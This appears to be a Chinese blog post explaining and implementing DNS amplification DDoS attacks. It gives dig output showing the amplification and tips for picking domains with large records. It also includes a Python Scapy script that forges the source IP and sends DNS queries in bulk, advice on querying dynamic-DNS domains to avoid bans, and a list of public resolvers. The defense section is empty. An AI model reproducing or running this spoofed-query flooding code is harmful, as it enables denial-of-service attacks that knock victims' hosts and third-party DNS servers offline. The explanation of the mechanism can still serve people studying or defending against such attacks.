DNS放大攻击原理及实现

原理

一般的DNS查询是基于UDP(53)的,具有源不可验证性。(相反的,TCP协议是三步握手连接,所以是可以信任的)
而当我们伪装一个src = '192.168.1.2',dst = '192.168.1.1'的DNS Query时,192.168.1.1将返回Respone给192.168.1.2。所以,我们可以通过伪装大量这样的Query,通过拥有高带宽的DNS服务器对src发起攻击。

然而,事实上,这就是普通的UDP攻击,但它与之的新特性是,DNS放大攻击的危害更大。传统的UDP攻击效果取决于攻击者的攻击带宽,而新型的DNS放大攻击取决于DNS服务器的带宽。(在这种关系下,DNS服务器既是攻击者,也是受害者)

比如我们向某递归DNS 服务器发送一个类型为ANY的域名查询请求(64 byte),然后收到了820 byte的Respone。

[email protected]:~#dig any isc.org @61.187.***.***
;; Truncated, retrying in TCP mode.

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> any isc.org @61.187.***.***
;; global options: +cmd
;; Got answer:
;; ->>HEADER< ;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 10

;; QUESTION SECTION:
;isc.org. IN ANY

;; ANSWER SECTION:
isc.org. 40 IN A 149.20.64.69
isc.org. 7030 IN NS sfba.sns-pb.isc.org.
isc.org. 7030 IN NS ord.sns-pb.isc.org.
isc.org. 7030 IN NS ns.isc.afilias-nst.info.
isc.org. 7030 IN NS ams.sns-pb.isc.org.
isc.org. 7030 IN SOA ns-int.isc.org. hostmaster.isc.org. 2015050900 7200 3600 24796800 3600
isc.org. 7030 IN MX 10 mx.pao1.isc.org.
isc.org. 7030 IN MX 10 mx.ams1.isc.org.
isc.org. 7030 IN TXT "v=spf1 a mx ip4:204.152.184.0/21 ip4:149.20.0.0/16 ip6:2001:04F8::0/32 ip6:2001:500:60::65/128 ~all"
isc.org. 7030 IN TXT "$Id: isc.org,v 1.1979 2015-05-04 19:31:54 jquale Exp $"
isc.org. 40 IN AAAA 2001:4f8:0:2::69
isc.org. 7030 IN NAPTR 20 0 "S" "SIP+D2U" "" _sip._udp.isc.org.
isc.org. 7030 IN SPF "v=spf1 a mx ip4:204.152.184.0/21 ip4:149.20.0.0/16 ip6:2001:04F8::0/32 ip6:2001:500:60::65/128 ~all"

;; ADDITIONAL SECTION:
sfba.sns-pb.isc.org. 7030 IN A 149.20.64.3
sfba.sns-pb.isc.org. 7030 IN AAAA 2001:4f8:0:2::19
ord.sns-pb.isc.org. 7030 IN A 199.6.0.30
ord.sns-pb.isc.org. 7030 IN AAAA 2001:500:71::30
ams.sns-pb.isc.org. 7030 IN A 199.6.1.30
ams.sns-pb.isc.org. 7030 IN AAAA 2001:500:60::30
mx.pao1.isc.org. 3430 IN A 149.20.64.53
mx.pao1.isc.org. 3430 IN AAAA 2001:4f8:0:2::2b
mx.ams1.isc.org. 3430 IN A 199.6.1.65
mx.ams1.isc.org. 3430 IN AAAA 2001:500:60::65

;; Query time: 12 msec
;; SERVER: 61.187.***.***#53(61.187.***.***)
;; WHEN: Sun May 10 10:03:15 2015
;; MSG SIZE rcvd: 820

由于DNS查询请求通常为无连接的UDP类型,所以攻击者只要使用1G的伪造源地址DNS查询流量,理论上就可能获得超过50G的UDP流量,并且可以控制其流向导引到攻击目标。对于拥有成千上万台被控主机的僵尸木马网络来说,发出几个G乃至数十G的DNS查询流量并不困难,而开放式递归服务器在全球数量超过千万台,并且这些服务器接入带宽往往较高。如果控制每台 DNS只产生 30M的应答攻击流量(太大的 DNS流量会被管理员发现并可能影响服务器正常工作),那么只需要1万台就可以达到300G DDoS流量攻击的效果。
——上海交通大学网络信息中心

危害

  • 伪造的src主机会收到大量的Respone造成拒绝响应
  • 目标DNS服务可能瘫痪,且上级DNS服务器进行递归查询,可能会耗尽资源

筛选

放大倍数越大,DNS放大攻击的效果越明显,显然,我们需要通过寻求一些域名记录较多的域名进行查询,如 isc.org, GitHub.com, Google.com, Logdown.com, SourceForgenet,当然,一些较常用的,可能已经被列入DNS查询白名单的域名也是很好的选择,如 Baidu.com, Gov.cn之类的。

实现

由于Python简单上手模块多,所以我们选择Python作为我们的开发语言。(这就是为什么那么多EXP都用Python的缘故吧)

from scapy.all import *
a = IP(dst='',src='')
b = UDP(dport='53')
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='domain',qtype=1,qclass=1)
p = a/b/c
send(p,count=case)

此时,src主机就会收到case条DNS Respone。

进阶

  • 参考DNS协议报文格式,发送类型为ANY的Query试试
  • 尝试索引 *.3322.org, *.oicp.net, *.eicp.net, *.xicp.net进行递归查询防止被ban

常用DNS服务器

OneDNS 112.124.47.27
OpenerDNS 42.120.21.30
aliDNS 223.5.5.5,223.6.6.6
114DNS 114.114.114.114,114.114.115.115
114DNS安全版 114.114.114.119,114.114.115.119
114DNS家庭版 114.114.114.110,114.114.115.110(推介)

防治

CC BY-SA 4.0 DNS放大攻击原理及实现 by 小小泥娃 is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

DNS放大攻击原理及实现》上有4条评论

发表评论

This site uses Akismet to reduce spam. Learn how your comment data is processed.